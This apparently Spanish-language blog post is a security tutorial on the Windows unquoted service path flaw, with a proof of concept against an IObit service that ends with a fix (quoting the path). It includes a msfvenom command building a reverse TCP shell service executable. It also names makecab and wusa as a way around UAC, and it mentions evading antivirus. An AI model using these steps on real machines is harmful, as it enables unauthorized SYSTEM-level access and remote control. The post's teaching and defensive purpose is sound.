Explicando brevemente la vulnerabilidad
Es muy simple
de entender, los servicios que están corriendo en Windows tienen una ruta hacía
el ejecutable, si dicha ruta cuenta con espacios y no se encuentra entre
comillas, puede producirse una ejecución inesperada al iniciar o reiniciar un
servicio. Imaginemos la siguiente ruta:
C:\Program Files\Test\service.exe
Al iniciar el
servicio, Windows va a intentar ejecutar:
- C:\Program.exe
- C:\Program Files\Test\service.exe
Por lo tanto,
si conseguimos poner un servicio en C:\ llamado Program.exe, tendremos la
posibilidad de que se ejecute código con altos privilegios, en este ejemplo
abriremos un CMD con permisos system en Metasploit.
¿Cómo ver las rutas?
Aquí tenemos
varias alternativas, desde consultarlo manual en Services, hacer uso de SC
en una consola o crear nuestro propio script y que todo sea más rápido. Un
ejemplo de uso de SC:
Y en un script
podremos comprobar todos los servicios corriendo en Windows, un posible código
en Python:
Bueno, ya
tenemos suficiente información para pasar a la prueba de concepto.
¿Cómo copiar un archivo a la ruta?
Nota: para realizar está prueba debes iniciar sesión con un usuario que pertenezca al grupo de administradores.
Aquí se va a hablar de una prueba válida para Windows 7, Windows 8 o 8.1, para Windows 10 habría que usar otro método para copiar el fichero en la ruta deseada.
Aquí se va a hablar de una prueba válida para Windows 7, Windows 8 o 8.1, para Windows 10 habría que usar otro método para copiar el fichero en la ruta deseada.
Se va a hacer
uso de las siguientes herramientas de Windows (seguro que ya habréis visto que
son usados para hacer bypass de UAC):
- makecab >> Empaquetará el fichero (.exe en este caso) en un archivo .cab
- wusa >> Extraerá el fichero del .cab en la ruta indicada
Si no hacemos uso de lo comentado arriba, no podremos alojar nuestro programa en la ruta deseada, si lo probamos a hacer manualmente, tendremos el siguiente pop-up:
Pasamos a ver
el código en Python para realizar la copia de nuestro servicio a la ruta que
nos permita la ejecución:
La parte de importar check_output en la línea 1 sobraría, finalmente no se ha usado aquí.
PoC
Ahora veamos la
prueba de concepto y cómo funciona todo esto. Primero buscamos un servicio que
sufra esta vulnerabilidad, para ello se ejecuta el script visto en puntos
anteriores:
Tenemos ya
localizados un par, vamos a pillar el servicio de IObit: AdvancedSystemCareService9
Crearemos el
servicio con msfvenom, la utilidad
de Metasploit, para ello ejecutaremos:
msfvenom -p windows/shell/reverse_tcp
lhost=192.168.206.128 lport=4444 -f exe-service > Advanced.exe
Puedes crear
tus propios servicios y complicar su detectabilidad a los Antivirus, aquí por
simplicidad se omite el paso. Pasamos a configurar el script en BoomER y lo
lanzamos:
Vemos como se
ha copiado el archivo a la carpeta:
Configuramos
Metasploit para recibir la CMD:
Reiniciamos el
servicio para ver si funciona y podemos ver que tenemos nuestra consola con
privilegios elevados en Metasploit:
Cómo evitar la vulnerabilidad
Para evitar que
se de esta situación, podemos agregar las comillas a la ruta, quedando así:
“C:\Program
Files\Test\service.exe”
Debes de tener en cuenta, que si la ruta no
tiene espacios, dicha vulnerabilidad no se producirá.
Es la hora de despedirse, cualquier duda, sugerencia o queja será bien recibida. Un saludo.
No hay comentarios:
Publicar un comentario